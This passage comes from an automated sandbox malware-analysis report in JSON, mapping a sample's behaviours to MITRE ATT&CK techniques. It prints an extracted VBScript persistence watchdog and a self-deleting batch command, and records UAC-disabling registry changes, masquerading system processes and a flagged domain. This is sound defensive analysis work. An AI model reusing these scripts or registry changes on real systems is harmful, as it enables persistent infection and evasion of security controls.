\"615a949d-4820-474a-9d77-81f8861d75cf.vbs\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"$5a","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"@echo offw32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nulstart \"\" \"C:\\Windows\\PLA\\Templates\\wininit.exe\"del /a /q /f \"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\\\LkZH0FaUeD.bat\"\" (Indicator: \"\"del \") in Source: LkZH0FaUeD.bat","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" opened \"\\Device\\KsecDD\"\n \"WScript.exe\" opened \"\\Device\\KsecDD\"\n \"intoHostDhcp.exe\" opened \"\\Device\\KsecDD\"\n \"csrss.exe\" opened \"\\Device\\KsecDD\"\n \"dllhost.exe\" opened \"\\Device\\KsecDD\"\n \"wininit.exe\" opened \"\\Device\\KsecDD\"\n \"OSPPSVC.exe\" opened \"\\Device\\KsecDD\"\n \"conhost.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5c","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"$5d","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"2236158,5584,3145,,OpenMutexW,kernel32.dll,\"252:24:01.505\",RX=0,PX=0\" (Indicator: \"OpenMutex\"; Source: \"00000000-00003024.00000001.86003.00220000.00000004.mdmp\")\n Found reference to API \"4646302,5632,3145,,OpenMutexW,kernel32.dll,\"252:24:46.668\",RX=0,PX=0\" (Indicator: \"OpenMutex\"; Source: \"00000000-00005800.00000001.88885.003B0000.00000004.mdmp\")\n Found reference to API \"47026856,5048,3145,,OpenMutexW,kernel32.dll,\"252:08:24.403\",RX=0,PX=0\" (Indicator: \"OpenMutex\"; Source: \"00000000-00001572.00000003.84004.00310000.00000004.mdmp\")\n Found reference to API \"7974442,1292,3145,,OpenMutexW,kernel32.dll,\"252:23:51.646\",RX=0,PX=0\" (Indicator: \"OpenMutex\"; Source: \"00000000-00003284.00000001.85400.00300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00002964]\n Dropped file: \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00001248]\n Dropped file: \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00001248]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001248]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"intoHostDhcp.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"csrss.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"dllhost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"conhost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00004068)\n \"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00003824)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00000000-00005856-15623-11-00C3ED46","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.dll at 14356-1503-0041DC9A\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00005856-15623-116-00C475C2\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005856-15623-125-00C4757E\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005856-15623-274-00C3D5D4\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005856-15623-301-00C2DA4E\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005856-15623-609-00C300CF\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005856-15623-990-00C3DC9A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 14356-958-00429CE9\n GetStartupInfoW@KERNEL32.DLL at 00000000-00005856-15623-155-00C49CE9\n GetStartupInfoW@KERNEL32.DLL at 00000000-00005856-15623-616-00C3F020","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"On Error Resume NextDim processIdDim mainFilePathSet WS = CreateObject(\"WScript.Shell\")Set FSO = CreateObject(\"Scripting.FileSystemObject\")processId = \"1920\"mainFilePath = \"C:\\Windows\\PLA\\Templates\\wininit.exe\"Do While TrueDim isExistsisExists = falseSet objWMIService = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")sQuery = \"SELECT * FROM Win32_Process\"Set objItems = objWMIService.ExecQuery(sQuery)For Each objItem In objItemsif(Trim(objItem.ProcessId) = Trim(processId)) Then isExists = trueExit ForEnd IfNextif(isExists = false) ThenWS.Exec(mainFilePath)FSO.DeleteFile WScript.ScriptFullNameExit DoEnd IfWScript.Sleep 5000Loop\" (Indicator: \" win32_process\"; File: \"615a949d-4820-474a-9d77-81f8861d75cf.vbs\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.DLL at 00000000-00005856-15623-301-00C2DA4E\n FindResourceW@KERNEL32.DLL at 00000000-00005856-15623-601-00C39E1C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" reads file \"C:\\Windows\\win.ini\"\n \"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"intoHostDhcp.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"intoHostDhcp.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"intoHostDhcp.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"intoHostDhcp.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"intoHostDhcp.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$60","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to call internet-related API for network communication","description":"\"powershell.exe\" called \"WinHttpSendRequest\" with parameters (UID: 00000000-00004068)\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters (UID: 00000000-00004068)\n \"powershell.exe\" called \"WinHttpSendRequest\" with parameters (UID: 00000000-00004328)\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters (UID: 00000000-00004328)\n \"powershell.exe\" called \"WinHttpSendRequest\" with parameters (UID: 00000000-00001248)\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters (UID: 00000000-00001248)\n \"powershell.exe\" called \"WinHttpSendRequest\" with parameters (UID: 00000000-00003876)\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters (UID: 00000000-00003876)\n \"powershell.exe\" called \"WinHttpSendRequest\" with parameters (UID: 00000000-00002964)\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters (UID: 00000000-00002964)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-291","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"suspicious","category":"Network Related","name":"Detected network traffic to commonly abused domain","description":"Domain: \"cr94982.tw1.ru\" possible high risk indicator. Domain matches service that is commonly abused for malicious purposes.","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":5,"id":"network-84","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 199.232.210.172 on port 80 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"On Error Resume NextDim processIdDim mainFilePathSet WS = CreateObject(\"WScript.Shell\")Set FSO = CreateObject(\"Scripting.FileSystemObject\")processId = \"1920\"mainFilePath = \"C:\\Windows\\PLA\\Templates\\wininit.exe\"Do While TrueDim isExistsisExists = falseSet objWMIService = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")sQuery = \"SELECT * FROM Win32_Process\"Set objItems = objWMIService.ExecQuery(sQuery)For Each objItem In objItemsif(Trim(objItem.ProcessId) = Trim(processId)) Then isExists = trueExit ForEnd IfNextif(isExists = false) ThenWS.Exec(mainFilePath)FSO.DeleteFile WScript.ScriptFullNameExit DoEnd IfWScript.Sleep 5000Loop\" (Indicator: \"root\\cimv2\"; in File: \"615a949d-4820-474a-9d77-81f8861d75cf.vbs\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$61","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$62","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$63","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a fake system process","description":"Process \"csrss.exe\" at non-system pathway \"C:\\TorService\\tor\\pluggable_transports\\csrss.exe\" (UID: 00000000-00006116)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":10,"id":"target-33","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WScript.exe\" \"C:\\BlockproviderComponentweb\\no2eZG6mwS0.vbe\"\" - (UID: 00000000-00005856)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Found a system process name at an unusual pathway","description":"Process \"csrss.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00006116)\n Process \"dllhost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00004364)\n Process \"conhost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00003744)\n Process \"dllhost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00003284)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"$64","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"$65","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"File type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections\" was dropped at \"%WINDIR%\\PLA\\Templates\\wininit.exe\"\n File type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections\" was dropped at \"%WINDIR%\\Media\\Quirky\\conhost.exe\"\n File type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections\" was dropped at \"%WINDIR%\\L2Schemas\\csrss.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"File type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections\" was dropped at \"%ALLUSERSPROFILE%\\Oracle\\Java\\javapath_target_623756\\dllhost.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"malicious","category":"System Security","name":"Modifies the UAC/LUA settings (Account Control)","description":"\"intoHostDhcp.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"ENABLELUA\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":8,"id":"registry-10","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"System Security","name":"Tries to disable secure desktop for UAC prompts","description":"\"intoHostDhcp.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"PROMPTONSECUREDESKTOP\")","origin":"Registry Access","mitre_attack_id":"T1548.002","relevance":5,"id":"registry-222","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"malicious","category":"System Security","name":"Tries to disable user account control","description":"\"intoHostDhcp.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"CONSENTPROMPTBEHAVIORADMIN\")","origin":"Registry Access","mitre_attack_id":"T1548.002","relevance":5,"id":"registry-117","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$66","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to decompress content at runtime","description":"Observed function \"System.IO.Compression.GZipStream\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1560.002","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"SizeOf\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"GetHRForException\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load manifest resource from assembly (Dotnet)","description":"Observed namespace \"System.Reflection.Assembly\" and TypeReference \"GetManifestResourceStream\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-173","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform code compilation at runtime (Dotnet)","description":"Observed namespace \"Microsoft.CSharp.CSharpCodeProvider\" and TypeReference \".ctor\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027.004","relevance":1,"id":"static-174","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Load\" in \"intoHostDhcp.exe\"\n Observed function \"System.Reflection.Load\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"TransformFinalBlock\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file contains function to dynamically call methods at runtime","description":"Observed namespace \"System\" and MemberReference \"GetMethods\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.Management\" and MemberReference \"GetMethodParameters\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.Diagnostics\" and MemberReference \"GetMethod\" in \"intoHostDhcp.exe\"\n Observed namespace \"System\" and MemberReference \"GetMethod\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":1,"id":"static-135","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file resource with suspicious entropy","description":"intoHostDhcp.exe has big resource with name: \"ZKOjQcPlJPE7qOvFxK.QxBF8YDv95wwWvigTm\" size: \"2157844\" and abnormal entropy:\"7.98900287597\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"intoHostDhcp.exe\"\n Observed function \"ToBase64String\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES cryptographic operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.Aes\" and TypeReference \"Create\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-167","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform CryptoStream operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.CryptoStream\" and TypeReference \"FlushFinalBlock\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-166","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform asymmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.RSACryptoServiceProvider\" and TypeReference \"set_UseMachineKeyStore\" in \"intoHostDhcp.exe\"","origin":"Static 